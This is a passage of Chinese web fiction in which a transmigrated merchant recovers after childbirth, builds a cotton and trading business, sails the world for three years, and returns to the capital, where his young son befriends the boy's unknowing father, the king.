吓的九大夫和四儿赶紧拦着,尤其是四儿,一边扶着他一边道:“我的少爷,您就别折腾了,刚出月子啊!累着了可怎么办?” 九大夫也道:“不要仗着自己年轻身体好就胡乱折腾,身体还是第一要务的。” 阮锦只觉得他们有些过于大惊小怪了,摆手道:“放心放心,我不会累着自己的,这不是有乳娘带豆沙包吗?我就是点点货,看看有什么好合理利用的。那些货都运过来一个多月了,要是一直在仓库里搁着,我怕是会发霉了。” 四儿答:“我知道,我明白,待会儿我叫几个家丁把小仓库里的东西一样给您搬几个过来,放到您面前让您过目。但您得答应我,豆沙包百天之前,你可不能到处乱跑,也不能搬重物。” 阮锦一个头两个大,生个崽而已,怎么还要在家闭关一百天? 阮锦嘴上答应着,心里已经规划着怎么越狱了。 渊王给自己封了郡伯,这个名头可是很好的招牌,不好好利用这个招牌,四舍五入等于少赚了一个亿。 很快,四儿便带着几名家丁把趸船运回来的东西搬到了他的面前,阮锦的眼睛简直是一亮一亮再一亮。 首先是精美的玉石,东南亚那边玉石是很出名的,后期缅玉非常值钱。 早期玉石还没被开采泛滥,趸船带回来的全是品相和种水都顶顶上成的帝王绿玻璃种。 虽然早期古人更喜欢软玉,也就是和田羊脂白玉,后期明末清初才从缅甸地区大量进口了缅甸料玉石,也就是大家口中的翡翠。 阮锦看着那些翡翠道:“找几个好一点的玉雕师,把它们做成手镯和玉佩,翡翠越绿越好,越透种水越好,挑几个最好的给我雕成平安如意扣,我要给豆沙包用。” 一名家丁应了一声,背着那一筐玉石去找玉雕师了。 接下来是一筐椰子,椰子的保存时间比较长,从仓库里搬出来的时候皮都还是绿的。 阮锦的眼睛便是一亮,说道:“椰子!天哪!好东西!快快快,开几个,咱们一人尝一个!” 一名家丁拿了砍刀过来,一刀就要劈下去,却被阮锦制止了:“别别别,别这么弄,你这么弄,椰汁就都洒地上了。这样,我教你一个方法,你把外面的壳砍了,别砍到里面的果肉,剩下的我来操作。” 家丁乐呵呵的用大砍刀把外面的那层硬壳砍去,砍完后便交给了阮锦。 阮锦则用小刀轻轻的削了片刻,又拿了竹子制成的软尺,探进椰壳里把里面的椰肉与椰壳分开,小心翼翼的剥离,就这样一枚完整的椰子蛋便出现在了众人的眼前。 他把椰子蛋放到瓷碗中,拿了一根麦秸杆插进椰子蛋里,递给一旁的九大夫道:“来,九哥尝尝!也就是我的刀工,才能剥出如此完美的椰子蛋来!这里面是椰汁,好喝的很!” 九大夫垂首喝了一口,满是惊艳道:“清凉甘甜,好喝!” 阮锦乐呵呵的笑:“好喝吧?哈哈,再来,多给我砍几个。” 下一秒却又被四儿给拦了下来,说道:“少爷,您这手腕还是歇歇吧!我都看清楚怎么弄的了,我来,我来就行了!” 结果四儿砍坏了三个椰子,好在可以接到碗里喝椰汁,第四个的时候终于成功砍出了一个椰蛋。 成功的喜悦让四儿忘乎所以,他一脸开心道:“少爷,你看我这刀工怎么样?” 阮锦看着那只仿佛狗啃一般的椰子蛋,上面还有好几个孔在漏水,愁的抹了一把脸,说道:“四儿,我肯定你是个好的管理型人才。可是呢……刀工这方面,还是看三儿的吧!” 三儿来东郡这边待了三天就回去了,蛮锦阁的大师傅尚未出师,她得随时盯着才可以。 四儿气的跺脚,把椰子蛋放到了阮锦跟前,说道:“我还不砍了呢!臭少爷!” 阮锦乐呵呵看着他砍出来的一盆椰汁,点头道:“正好,这么多的椰汁也不能浪费,还有那么多椰果!今天晚上,少爷我给你们做椰子鸡。四儿,你去外面买两只小嫩鸡回来,不要超过半年,越嫩越好。” 四儿一听阮锦折腾新食物心情就好,转身便兴高采烈的去准备食材了。 九大夫则若有所思的吃着椰子,片刻后说道:“这椰子虽然喝着清甜甘爽,却不太适合你喝。你刚生产完,凉的东西还是要少喝的。这个椰果倒是不错,你可以吃一点。” 阮锦:…… 家里有个大夫好烦人啊,怎么什么都不让吃! 不过椰子的汁确实性微凉,反倒是椰肉性平味甘,确实可以适当的吃一点。 阮锦趁机喝了一大口,说道:“我少喝一点,少喝一点没关系的。我这个月天天鸡汤煮面,鸡蛋炖糖水,吃得我嘴里都快淡出个鸟来了。哎呀,反正已经出月子了,问题不大,问题不大哈哈哈。” 九大夫无奈,便由着他喝了半个椰汁,后面说什么也不肯让他喝了。 阮锦只得交出椰子,继续清理接下来的物资,后面的家丁背进来的东西有些多,但那包裹看着大,目测却不算重。 直到家丁解开包裹,露出里面软绵绵白哗哗的东西,阮锦的眼睛才亮了起来,说道:“这是棉花啊!” 他们这一趟,该不会干到印度去了吧? 竟然还收来了棉花! 阮锦一脸激动的上前拿起一把棉花,问道:“从哪儿收来的?” 家丁挠着脑袋,憨笑着摇头:“小的也不知道,小的只是个搬运工。” 阮锦明白了,他决定待会儿找尉迟融那个护卫统领问问,棉花可是这次运回来的最有价值的东西了。 结果下一个家丁进来的时候,又让他意外了一把,那竟是一桶玉米。 再后面的家丁,则是一桶红薯。 除此之外,还有一桶稻米,只是与他们这边的稻米不同,那边的稻米竟是旱稻。 后面就是些无关痛痒的东西了,什么象牙、香料、宝石之类的,阮锦觉得这些东西不如农作物有价值。 如今还是人类吃不饱穿不暖的时候,这些额外的东西除了贵族不会有人喜欢。 但他做生意又不喜欢只可着贵族,他喜欢从蝇头小处见利,利民的才是根本。 看完这些货,阮锦便把它们挑出了四样,优先发展。 首先是棉花,现在是春天,正是种棉花等各种作物的好季节。 他便吩咐其中一名家丁,让人把棉花里的种子和棉絮分开,并叮嘱他们分的时候小心一些,不要扯坏了棉花的纤维。 然后是玉米,他又吩咐另外一名家丁,留一袋玉米种子,剩下的全都种到地里,并把种植方法交给了他们。 还有红薯,按道理说,红薯应该是用秧子扦插,但他们收来的红薯没有秧子,只能用块根来种了,这种的产量可能不如扦插高一些,但也不失为一种退而求其次的方法。 旱稻也是一样,选了一块合适的田,也让佃农们种了下去。 吩咐完后,阮锦的精力便有些不济,躺在床上闭目养神。 九大夫埋怨道:“早说了让你好好休息,你非是不听,看看,现在成什么样了?” 阮锦打了个哈欠,说道:“我就是困了,小事一桩。” 九大夫想了想,还是说道:“其实……我有一件事想告诉你,之前你一直没出月子,我怕你忧心。现在看你状态还不错,感觉也不能一直瞒着你了。” 阮锦来精神了,坐起身来问道:“嗯?什么事儿啊?这么郑重!” 九大夫道:“你还记得迟麟迟大人吗?” 阮锦点头应道:“记得,那位大司农么,又帅又能干。听说他老公还是渊王面前的大红人儿,两人有一个儿子,也是个哥儿。” 九大夫无奈,心想阮锦果然还是更喜欢吃瓜,对别人的家庭状态如数家珍的,这时他从怀里掏出一封信,说道:“前些时日他给我寄了一封信,信寄到了奇货巷,三儿给我带过来的。你自己看看吧!” 阮锦接过那些信,看过信的内容后略微皱了皱眉:“原来封我为永义伯是长公主给王上提的,他还说王上极有可能对我的死亡存疑。他夫君是黑羽卫,如果要调查自己的死亡,极有可能会派出黑羽卫。黑羽卫一出动,我的死因绝对没有任何细节能瞒住……” 阮锦沉吟着,半天后才道:“九哥,帮我把蛮锦食记改个名字吧!” “嗯?”九大夫问道:“改成什么?” 阮锦想了想,说道:“就改成MJ吧!” 九大夫:“呃,唧……吧????” 第103章 阮锦头疼的抹了一把脸,心想这哥儿的生理特点都把我们九大夫给逼成什么样了,听什么都能听成唧吧! 他起身写了两个字母,说道:“是MJ,把名字改了,也能避免一些麻烦。顺便再给奇货巷上一些新货,可以把东郡的花馍运过去,用我们自己制的冰放到夹层里来运。还有种下的这些玉米,收了以后做成玉米煎饼,那也是相当美味的。不过,得等我们的玉米长出来。还有这些棉花,倒是可以早点变现,弹一弹,做个纺车,织成棉布,那可是比麻布更舒服的存在。” 阮锦的想法很多,这些时日他便开始实施他的计划。 教会了几个家丁弹棉花,看着弹出的白白软软的棉花,家丁们都惊了。 东郡百姓并不算富庶,尤其沿海地区,他们没办法养蚕,所穿衣物皆为麻织,不保暖又伤皮肤,冬天出海的时候能把人冻透了。 若是有棉花,那简直是再好不过了。 于是阮锦又画出了传统纺车的图纸,只因他儿时见过奶奶纺线织布,能大概知道这些东西的构造。 只是琢磨了半个月,才终于纺出了第一批纱,又琢磨了半个月,才织出了第一方棉布。 单是如此,就已经足够让人兴高采烈了。 又用了一个月,棉布经过改良,织出的布更加细腻,还染出了各种漂亮的颜色,奇货巷一上架,便被那些游商们抢购了上万匹的订单。 只是订单较慢,此时的棉花,才长了一尺来高,刚刚开花,还没结果了。 而此时的蛮锦集团,也更式更名为MJ集团,百姓们不会读,就给它取了个诨名叫摸鸡巷子。 如今的奇货可居巷,相较于一年前,已经扩张了足足十倍的规模。 桃花县如今也不仅仅是交通要塞,更成了大渊国非常重要的商贸集散中心。 除了桃花县,奇货巷还在东郡开了分号,更是以肉眼可见的速度抢占了整个东郡的各大市场。 待到豆沙包终于满一百天了,阮锦也终于被九大夫解了禁足。 他抱着怀里的豆沙包,望着码头前的大海,对身边的九大夫说道:“听说,渊王因为幽国和北越联合进犯,又去率军亲征了?看来,短时间内,他是不会想起我了。” 九大夫淡淡嗯了一声,心想也不知道这对阿锦来说是好事还是坏事。 阮锦又道:“我也不能一直把自己封存在过去,九哥,我决定跟着趸船出海。这次我趁着休养的几个月,又命人做了一艘更大的趸船出来。我让人备了半年的干粮,想试试跑跑更远的商路。” 九大夫皱眉道:“可是……豆沙包才三个月,你忍心弃他而去吗?” 阮锦笑了,说道:“谁说我要弃他而去啊?我要带上他,如果你们想跟着,也可以一起去的。你不是一直找不到麻沸散的一味药吗?不如跟我一起出海,看看海上能不能寻到?” 九大夫微怔,他从来没想过出海,也从来没想过海的那一边有什么。 其实,在来东郡之前,他也是没见过真正的大海的。 他们南越的海,指的是那些湖,都是内陆湖。 阮锦知道,九大夫所在的南越国,就相当于他们那个时代的云贵川,自然是没有海洋的。 九大夫问道:“我……真的可以跟着去吗?” 阮锦笑:“不光你,四儿也可以跟着。四儿那边有强有力的助手,再说,食记现地已经完全被仙儿和她的姐妹们接手了。三儿如今也成了大掌柜,蛮锦阁开了足足八家分号。阿大和阿二之守着奇货巷,手底下还带了几个小徒弟,如今也没有需要我操心的地方了。不如带船跑跑航运,说不定还能开辟一条其它道路呢?” 他打算带上华夏特有的丝绸和瓷器,以及一些名贵的玉器工艺品,还有华夏人最喜欢的茶叶、酒、调味料之类的,说不定能提前让他们进入大航海时代。 当然,阮锦没想这么多,他只是觉得,既然他已经穿越到了这个世界,不如就让自己多涨涨见识吧! 从前他们那个时代就流行一句话:世界很大,我想去看看。 阮锦不光自己想去看看,还想带着小伙伴儿们一起去看看。 九大夫当即点了点头,应道:“好!那我们就一起去!” 阮锦高兴极了,当天晚上便开始准备各种东西,还准备了豆沙包需要的各种生活用品,包括纯棉的小被子和小衣服小尿布。 他一开始还担心乳娘不愿意去,谁料他一说,乳娘的眼睛都亮了,只是问了一句:“如果我跟去了,村子里的人会不会说我……不顾家?” 阮锦嘶了一声,当即掏了一百两银子给她:“你把这一百两拿给你夫君,你看看谁会在外面说你不顾家。女人就该守着家吗?咱能赚那么多钱,不比守在家里更有价值?” 乳娘的眼睛都亮了,她也不过二十七八岁的年纪,也是向往外面的时候。 于是她把心一横,拿了一百两交给了家里,五十两给了夫君,五十两给了亲娘,让他们一起照料好家里的孩子。 两家人都高兴的不得了,因为五十两可以给家里重新修一个很大的房子,剩下的钱还够他们生活好几年。 村子里的人都羡慕乳娘,觉得她遇上贵人了。 于是在准备了半个月后,两艘趸船全装满了货物,阮锦便带着九大夫和四儿,以及从前的三十名水手上了船,开始了他们的远航之路。 这一航,便是三年,待到阮锦终于跑遍了全球,让九大夫认定这个世界是个球形后,才终于肯带着已经三岁的豆沙包离开趸船。 三年后,大渊的动荡终于告了一段落,此时的渊帝已经二十八岁,也正是在这一年,他拿下了整个幽国,并把幽崇简活捉了。 幽国与渊国持续了三年的战争,在幽崇简被押入渊都后,成功落下了帷幕。 阮锦一下船就一脸兴奋的说道:“听说幽崇简被押入了渊都,要不我们去看热闹吧?” 这三年,阮锦看尽了这世间所有的繁华,也逛遍了这个时间段所有的文明古国。 他根据历史上的记载,见到了罗马的扩张,地中海的贸易,不计其数的奴隶,还有他们的拉丁文明和万神殿。 也看到了印度佛教的兴起,数不尽的宝石和香料,还有堆放满藏经阁的佛经。 见证了波斯对抗罗马的不易,但他们对华夏货物非常感兴趣,阮锦多数的丝绸和瓷器都卖给了波斯。 哦,不对,此时的波斯还叫安息。 还有埃及的尼罗河农业,玛雅的初兴,城邦国家的建成。 但较较于华夏的文明,此时的这些文明还是稍微差了一些的,不论是从经济上还是人文上,甚至制度上。 哦,对了,他这一行最大的收获就找到了辣椒种子和咖啡豆,从此以后他就可以安逸的吃火锅喝咖啡了! 重新回到故土的阮锦还带着一些小兴奋,呼吸着东郡枣花馍的味道,阮锦随手就在路边买了几个。 刚要掰开一半给豆沙包,转头就看到豆沙包正在逗一条龇牙咧嘴的流浪狗。 吓的他赶紧上前把他抱了过来,数落道:“阮豆包!我和你说过多少次了!未知的危险有很多,你不要用你的小命去探索世界!” 养这么一个孩子,终于让他意识到了什么叫为父不易! 在船上的时候,这孩子像条滑不溜手的鱼,一转眼就看不见了,这才三岁就学会了游泳,学着水手从船上往下跳。 有一次趁着他爹不注意,爬到了百米高的桅杆上,吓得阮锦魂儿都飞到了十里开外。 好在同行的水手身手矫健,把那皮猴子从桅杆上薅了下来。 阮锦也不明白,自己这是生了个什么怪物,从小力气大,下盘儿稳,八个月就飞檐走壁,一岁半就下海摸鱼,如今三岁了,跟着水手学了一身的杂耍功夫,一眼看不见崽就没影了,再一回头,正在别人家屋顶上揭瓦。 想当年,阿蛮也不是这个性子啊,这到底是随谁呢? 一旁的九大夫一人牵着豆沙包一只手,别误会,这不是疼受幼崽,这真是怕幼崽跑了! 九大夫还在一旁开玩笑:“阿锦,我怀疑你快马加鞭的往回赶,为的是想亲眼见证渊王怎么处理幽崇简吧?” 阮锦认真的憋住自己的笑,心想我也没别的意思,就是这辈子没见过斗大的鸡儿,不知道长什么样。 四儿问:“少爷,我们真的要去渊都吗?可是我担心……” 此时的阮锦倒是和三年前没有什么变化,九大夫和四儿都羡慕的不得了,因为他们都晒成了黑碳。 阮锦却不一样,他仍是一身冷白皮,仿佛海上的风吹日晒对他造成不了任何威胁。 阮锦看着街边一个个的奇货标志心满意足,说道:“三年都过去了,有什么好担心的?这三年,不也什么都没发生吗?想必,那渊王早已忘了我了。” 从前阿蛮半年就恢复了记忆,渊王三年都没恢复记忆,想必这辈子也是恢复不了了。 九大夫应道:“也行,那咱们就去一趟京城,围观渊王对幽崇简行刑。” 阮豆包一听,高兴的开始手舞足蹈:“太好啦!太好啦!可以去渊都了,我可以见到渊国的王了!爹爹,渊王真的像他们说的那么厉害吗?他真的长了三头六臂,青面獠牙,有三米多高,还拿了一把七米长的大砍刀?” 阮锦:???这都谁传的??? 第104章 难怪历史上的渊帝风评不好,敢情就是这么以讹传讹造成的啊? 别人这么瞎说倒也罢了,可阿蛮是豆沙包的亲生父亲,再这么说就不像话了。 阮锦耐着性子牵过他的手,对他解释道:“宝贝,有些事情呢,不能人云亦云。渊王什么样,你得亲眼见了才知道。再怎么样,渊王他也是个人啊!是人他就都是个正常人的模样,必不可能长成你口中的样子。” 阮豆包却自有他自己的一套思维理念:“渊王能是普通人吗?普通人能当上王吗?听说他还是顶级的傀儡师,我五叔叔也是傀儡师,但是五叔叔现在只有六级。五叔叔都长那么高辣,渊王肯定有五米那么高!” 阮锦:…… 此时的阮豆包只有三岁,他对人类的高度根本没有概念,可此时的他必不可能从长度的单位教起,只是一脸无语的吐槽了一句:“你当渊王是高达吗?还五米那么高,你怎么不说他一百米高呢?” 一脸懵懂的阮豆包:“啊?真的有一百米那么高?” 几天后,沿途几个村子的孩童都知道了渊王有一百米那么高。 就是这么神奇,这孩子也不知道哪儿来的好人缘。 九大夫和四儿让驻守在东郡码头的奇货掌柜给他们准备了一辆十分豪华的马车,这些年阮锦跑航运可以说是赚了大钱,让奇货巷开遍了整个大渊,乃至有了跨国贸易。 阮锦是一个非常想得开的人,既然赚了钱,那就要好好享受。 这马车可以说是极尽低调的奢华,外面看只是大,里面的装潢简直珠光宝气富丽堂皇。 一进马车,阮锦就抹了一把脸,心想我MJ的员工审美还真是……别具一格。 虽说审美别致了些,但他们准备的马车的确舒服,还有一个专门给豆沙包准备的幼儿区域,上面放着阿蛮走之前给他雕刻的一些鲁班锁玩具。 但这些鲁班锁对于阮豆包来说已经太简单了,轻轻松松就能解开,但他倒是挺珍惜它们的,不论走到哪里都要带着摆弄。 也只有在玩鲁班锁的时候,豆沙包才能安安静静的坐着。 自从阮豆包学会走路起,他就开始后悔给这个皮猴子取这个名字,本以为自己会生一个软绵绵的小蛋糕,谁知道生了一只上窜下跳的猴儿。 罢了,自己生的,不论如何也得养着。 众人上了马车,九大夫便从怀里拿出一封信,看完后拍到了阮锦的面前,惆怅道:“看看吧!阿大寄来的,愁死了。” 阮锦问道:“怎么了?” 说着他接过了九大夫递上来的信,四儿也凑了过去,看完后便噗嗤笑了出来,说道:“阿五有想法啊!我看大哥也不用着急,他既然想去,那就让他去呗,反正拦是拦不住的。就是他胆儿也真肥,冒充二哥的年龄,难怪大哥气成这样。” 豆沙包转过头去好奇的问道:“爹爹,我五叔怎么啦?” 阮锦唇角勾了勾,答道:“跑去投军了,这是你五叔的梦想。孩子想法挺多的,就等他建功立业了。” 阮锦看了一眼信上的日期,哦嚯了一声:“五个月前走的啊?怕是现在已经建上功了。足足六级傀儡师,在军中的威望可不会低。也不知道他投军投去了哪里,会不会碰上阮渟呢?” 九大夫道:“十有八九跟着渊王御驾亲征了,也不知道他能不能见到渊王。这小子,还真是个长情的。” 渊王当了他半年师父,他就不论如何都要追随他。 阮锦想了想,可能阮豆包的人格魅力是随了他父亲了。 在马车上颠簸了好几天,阮锦竟然随处都能看到奇货巷的标志,下面都会刻着一个红色的MJ,表示是奇货可居联锁店。 阿大他们也是了不起,竟然把店开的到处都是。 终于抵达了渊都,阮锦这是第一次来渊都,看着街道两侧林立的商铺,以及往来行人身上穿着的棉质服装,阮锦的唇角又往上勾了勾。 他随手一指道:“看着还是棉布做的衣服贴身啊!是不是,九哥?” 九大夫嗯了一声:“确实,现在咱们的棉花已经种了几百亩,更是改良了许多次织机,棉布织的越来越细腻。普通人家也有不少穿棉衣的,不过都是自织的粗布棉。还是咱们的织机啊!织出来的布又细致又舒服,可是很受番商欢迎的。” 说这些话的时候,九大夫的唇角里也露出的得意之色。 这些年,他跟着阮锦也研究出了不少医疗方面的小工具,制出了听诊器,也终于找齐了麻沸散的原材料,成功制成了麻沸散。 还在路上遇到了一个急性阑尾炎患者,在阮锦的帮助下,成功开展了阑尾切除手术,只是并发症比较严重,烧了足足七天才好,但也算是一个成功案例了。 马车停在了MJ渊都总部,车夫把车停到门口,说道:“郎君,到渊都总店了,劳您抬脚下车。” 阮锦牵着豆沙包的手下车,豆沙包也好奇的看着京城的街道,问题一个接一个,问的阮锦都要不耐烦了。 “爹爹,京城的王宫在哪里?” “爹爹,我可以见到渊都的王吗?” “爹爹,我可以去找渊都的小朋友玩儿吗?” “爹爹,我们住的地方在几楼,可以爬窗户吗?” “爹爹……” 阮锦受不了了了,冲着他嚷嚷道:“不能!不能!不能!阮豆包,你要是让我看到你爬窗户,我就把你的腚给你打烂!” 阮豆包:“……不爬就不爬,你那么凶干什么呀!” 阮锦啧了一声,牵着他的手,跟在九大夫身后,走进了渊都MJ总部的大堂。 掌柜一见有人来了,赶紧热情的迎了过来,问道:“几位贵客是要谈什么生意?” 九大夫拿出了一块金镶玉的令牌,掌柜一见,赶紧恭恭敬敬的行礼:“原来是大掌柜,您后院请!东南郡那边已经来过信了,说是大掌柜要来巡查。我们早已备好了一应生活起居用品,恭迎大掌柜莅临。” 九大夫应道:“不必客气,先带我们去休息吧!” 掌柜带他们去了后院,一进入后院,连阮锦都惊了,在渊都这种寸土寸金的地方,能有这么大的院子,还有那么好的造景,简直是太奢华了! 阮锦感叹了一句:“我现在这么有钱了吗?” 九大夫轻笑:“有钱的超乎你想象,阿大其实挺有生意头脑的,当然更是多亏了尉迟融。有他在,还有这御赐的招牌在,所有人都愿意和我们做生意。说起来,倒是不知道他有没有追上三儿。三儿也是有想法,放着小侯爷夫人不当,已经让尉迟融追着她跑了好几年了。” 阮锦倒是不以为意,说道:“小侯爷怎么了?我们三儿也是人中龙凤,佼佼者中的佼佼者。” 四儿应和着:“那倒是。” 掌柜带他们入得门厅,阮锦十分满意的打量着房间内的陈设,也是一如既往的奢侈。 他啧了一声,感叹道:“真是铺张!不过我喜欢,哈哈哈哈!掌柜,给我准备些吃的,我们先休息一天,明天再出去逛逛。” 掌柜恭敬的应着:“已经给大掌柜备好了,马上就来,马上就来。” 几人吃上饭的时候,阮豆包却已经睡着了。 这孩子一路上窜下跳问东问西,眼睛身体和脑子就没闲着过,此时终于耗尽了电量,乖乖的躺在床上睡觉。 也只有他睡着的时候,才终于像一枚香香软软的豆沙包了。 众人一路确实累了,泡了个澡后,也各自回房休息。 只是众人睡着后,阮豆包悄眯眯睁开了眼睛,翻身爬下床,蹑手蹑脚的出了门。 他好奇的东张西望,心想京城可真大,不知道王宫在哪里,我一定要去王宫看看渊王长什么样,到底是不是三头六臂十几米身高! 渊夜昙:……很好,孤不过几天的时间,已经长到了十几米。 阮豆包身高不足一米,还不如掌柜的柜台高,所以他出来的时候也没有人看到。 来到大街主,他便想着找人问一下王宫怎么走。 结果一出门就遇到了一波游街花车,阮豆包的眼睛当即亮了,跟在花车屁股后头,瞬间融入了一堆七八岁儿童的堆里。 那些孩子也没觉得他小,竟然还和他玩儿到了一块儿,有人给他买糖葫芦,还有人送他小玩偶,甚至还有人送了他几文钱。 直到花车游行的队伍散了,豆沙包小朋友才惊觉自己迷路了。 他站在桥头上,左看看,右看看,心想自己是从什么地方过来的来着? 但是他一点都不害怕,他知道自己的爹商号遍天下,如果走丢了,就找一个有MJ标志的店铺,拿出他的小一号金镶玉令牌,自然有伙计把他送去找爹爹。 于是他也不着急了,在桥上左看看,右看看,又走到一座廊桥下,看了一会儿变戏法的,转头又看到墙角蹲着一个潦草的男人,他心想这应该就是爹爹口中的乞丐吧? 爹爹说了,看到乞丐施舍几枚铜钱,他就能吃一顿饱饭。 于是豆沙包把方才孩童送他的铜钱放到了那人的手里,说道:“给你,你去吃点东西吧!” 潦草的男人慢悠悠拿下斗笠,一张秾丽的脸庞出现在了阮豆包的眼前,他歪头打量着男人,问道:“咦?你叫什么名字?为什么你和我长得这么像?” 男人看着手里的铜钱,打量着眼前的小豆丁,眼中露出了几分迷茫与好奇。 第105章 近日,渊夜昙再一次经受了瘾症的折磨,三年过去了,阳元上亢非但未曾减少分毫,反倒是越来越严重了。 从前是三日,如今已经变成了四日,怕是过不了几年就会变成五日,乃至十日。 他觉得自己可能压制不了太久了,他必须要加快自己的速度,只要将这中原一统,百姓们自会免于战乱,至于下一任王由谁来当,他并不在乎,他们争的越凶,他才越高兴。 前天他本来是打算再跑一趟东南郡,理一理那边的灵脉,谁料用灵石一测,东南郡的灵脉却并未出现躁动不安。 反倒是京城这边的灵脉,一副要闹事的模样,于是他又把自己那几十名傀儡替身放了出来,自己偷偷跑出来查看动向。 只是查了半天,仍是一筹莫展,也不知道是渊都的哪块灵脉出了问题。 在此处闲来无事思考的时候,就遇到了一个给了他几枚铜板的小豆丁,还煞有介事的让他去买点吃的。 渊夜昙歪头看了他片刻,直到小家伙说自己和他长的像后,才缓缓打量着小家伙的一张脸。 那张小脸白嫩精巧,仿佛他亲手雕刻出来的傀儡娃娃一般,要说长相,两人的确有几分相像,尤其是眼尾上挑的弧度,简直是从一个模子里刻出来的。 重点是眉心里藏着的一枚小痣,一般人不会注意这样的细节,但因为渊夜昙自己有,所以也会特别注意到豆沙包眉中的小红痣。 母亲当年说过,这叫眉里藏珠,说是大富大贵、聪慧无双之相。 渊夜昙可是不信这些的,他从小受了那么多苦,用了那么多心机,即使是当上了这个王,也并未觉得享到过什么富贵。 每日看那些人在他面前演戏,看的心累,倒不如躺在桥上,看这些熙熙攘攘的百姓。 百姓们,倒是在他的治下,日子过的越来越繁华了。 阮豆包还在好奇的打量着眼前的“流浪汉”,见他胡子拉碴,面无血色,衣衫凌乱,一副没吃过饱饭的模样,阮豆包便犯了从他爹那里遗传来的老毛病,拉起他的手道:“走走走,既然你和我长这么像,那咱们就是好兄弟,我带你吃好吃的,穿漂亮衣服去!” 渊夜昙唇角微勾,也不知道这小豆丁的葫芦里卖的什么药。 于是便也没拒绝,就这么被他拖着在街上东张西望的走了片刻,直到看到一间富丽堂皇的铺面,才拉着渊夜昙走了进去。 一进铺子,掌柜也没有因为他们是小孩和流浪汉而驱逐他们,反倒是问道:“二位客人是有什么需要帮助的吗?” 掌柜说了,MJ的立店之本是人,必须要对所有进店的人保持善意,如果是乞丐,就给他们几文钱,如果乞丐无处可去,可以收留他们做工。 看这男子身形如此健壮,当是个好劳力。 此时的渊夜昙还不知道,他的身体已经被惦记上了。 谁料此时的小豆丁却从怀里掏出一块金镶玉的令牌,那令牌比普通的掌柜令牌小一圈,且上面的玉质是紫色的。 阮锦当年采买的那些缅甸玉料,其中有不少极品,阮锦便把它们做成了MJ的大掌柜令牌,普通令牌是白绿相间的,大掌柜的是帝王绿色,小五义是黄色,只有小掌柜一个人是紫色。 掌柜一见那紫色令牌,先是确认了两遍,又从柜台里拿出纹样图纸对着看,当即露出了笑意,一把将他抱起来转了两圈道:“原来是小掌柜!早就知道大掌柜和小掌柜进了京,想不到今日小掌柜便来视查啦?小掌柜有何吩咐,小的这就去办!” 渊夜昙十分意外,看这小豆丁只身一人,身上穿的也是近期渊国内较为流行的棉布衣衫,也没有戴什么贵重的配饰,竟还是个有钱人家的小少爷? 阮豆包笑了笑,从掌柜的怀里下来,说道:“好说好说,给我这个兄弟找一套舒适漂亮的衣裳。最好给他洗个澡,再给他整理一下仪容。最后再给他十两银子,让他好好过日子去吧!” 这些阮豆包全是跟着阮锦学的,阮锦爹爹说过,达则兼济天下,看到乞丐和困难的人要出手支援,一定不能坐视不理。 于是接下来还没等渊夜昙反应过来,他就已经被两位婆子扶进了后堂,不由分说的给他洗了澡,梳了头,戴了几样配饰,穿了漂亮的绸衣,还给他拿了一锭十两的银锭。 让他忍不住怀疑,这小少爷家里是不是开善堂的? 不过,阿蛮却并没有拒绝,因为他从来没有得到过这样的善意。 周围的人,除了阿姐,所有人都看他虎视眈眈。 ……不,他总觉得自己是被善待过的,可是那个人是谁呢? 他已经不记得了,真的不记得了。 从那富丽堂皇的店铺里出来后,渊夜昙才问:“你叫什么名字?” 阮豆包答:“我叫豆沙包,你呢?” 爹爹叮嘱过,出门在外绝对不能暴露自己的姓名,就算要说姓,也得说自己姓元,父亲名叫元耳,而不是姓阮叫阮锦。 阮豆包虽然是个上窜下跳的皮猴子,可孰轻孰重,他还是一清二楚的。 “豆沙包?”渊夜昙沉吟着,嗯了一声道:“好名字,我叫玫瑰烙。” 豆沙包:??? 他非但没有怀疑渊夜昙,反倒是一脸喜悦的握住了他的手,兴奋道:“你叫玫瑰烙?哎呀,那咱俩可真是有缘。你不知道,我爹给我取的这个名字很奇怪。豆沙包是吃的,那我岂不是要被人给吃掉了?以前我从未遇见过和我类似的名字,想不到今日便遇到了。哥哥,你不但和我长得像,名字和我也像。要不,干脆咱俩结拜吧?” “结拜?”渊夜昙心中轻笑,这小豆丁看着不大,倒是想法挺多,怕是从小家里话本子教多了。 他淡淡嗯了一声,说道:“也好,那我们找个土地庙去结拜。” 此时的阮豆包还不知道,他要结拜的这个人是他的亲生父亲,但他就是觉得和这个玫瑰烙挺投缘的,比以前玩的任何小朋友都要投缘,必须结拜才能彰显他的特别之处。 于是渊夜昙带他来到一处土地庙,堆了两堆土,插了两根树枝,磕了八个响头,就算是结拜了。 结拜完,豆沙包一脸开心的喊了一声:“大哥!” 渊夜昙也十分愉快的叫了一声:“二第。” 豆沙包牵着他的手道:“走,大哥,我带你去吃好吃的!我家在渊都有好多食肆,我请你吃最出名的MJ酒楼!” 关于MJ酒楼,渊夜昙也是听说过的,也知道他背后有一名十分有手腕的东家,自从MJ入驻京城后,整个京城都显得繁华了不少。 渊夜昙也没有推辞,他跟着小豆丁去吃了MJ酒楼,凭着小小一枚少主令牌,这小豆丁简直走到哪里吃到哪里,比他这个王都方便,这让渊夜昙忍不住有些羡慕了。 他心想,这孩子一定是集万千宠爱于一身的,否则,这家人为什么把那么重要的令牌给他,还昭告所有MJ的商铺,只要见到持有此令牌的少主便要好生招待呢? 说起来,渊夜昙有些羡慕了。 就这样,堂堂大渊皇帝,在一枚小豆丁的带领下逛吃逛吃遍了整个渊都,直到天色擦黑。 本来阮豆包是想找个店铺让他们送自己回总部的,谁料一旁的大哥玫瑰烙问道:“你带我玩儿了一天,还给我花了那么多钱,我总要回报你一下。不知道你有什么心愿呢?” 渊夜昙虽然不太会与常人相处,但这小豆丁不一样,孩子心性至纯,哪怕他长大后会变的世俗复杂,如今的豆沙包都是一个天真可爱值得被认真对待的孩子。 阮豆包摸着小脑袋想了想,说道:“哎呀,倒是也没什么,我就是……想见见大渊的王。” 大渊的王本王渊夜昙露出了疑惑的表情,问道:“嗯?为什么要见大渊的王?” 阮豆包嘿嘿笑道:“我就是好奇,听说他……哎呀不说了,爹爹不让我说他长得像高达。……反正你也不认识渊国的王,你只是一个流浪汉而已,肯定实现不了我的愿望。” 大渊的王本王有点被小豆丁气笑了,说道:“知道我是流浪汉,还和我结交?” 阮豆包答:“那又怎样?我爹爹的几名好兄弟还是流浪儿呢,他们现在还不是大名鼎鼎的五大掌柜。我爹爹说了,英雄莫问出处,王侯将相宁有种乎?” 渊夜昙意外的看向小豆丁,心想难怪MJ的老板可以把生意做到那么大,能教育出这么好的孩子,想必他本人也必有过人之处。 